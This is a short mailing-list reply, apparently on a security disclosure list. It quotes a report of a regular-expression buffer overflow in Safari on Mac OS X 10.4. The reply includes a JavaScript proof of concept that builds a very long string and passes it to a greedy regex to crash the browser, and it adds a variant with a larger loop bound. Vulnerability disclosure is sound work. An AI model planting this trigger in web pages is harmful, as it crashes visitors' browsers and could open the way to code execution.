Re: Apple Safari "match" Buffer Overflow Vulnerability

["J. Oquendo" <sil () infiltrated net>]

jbh_cg () yahoo fr wrote:
> The following bug was tested on the latest version of Safari on a fully-patched Mac OS X 10.4. 
>
> A remote attacker may exploit this issue to crash the application, effectively denying service to legitimate users. 
> Successful exploitation could lead to remote code execution.
>
> <script>
> var reg = /(.)*/;
> var z = 'Z';
> while (z.length <= 8192) z+=z;
> var boum = reg.exec(z);   
> </script>
>   

while (z.length <= 16384) z+=z;


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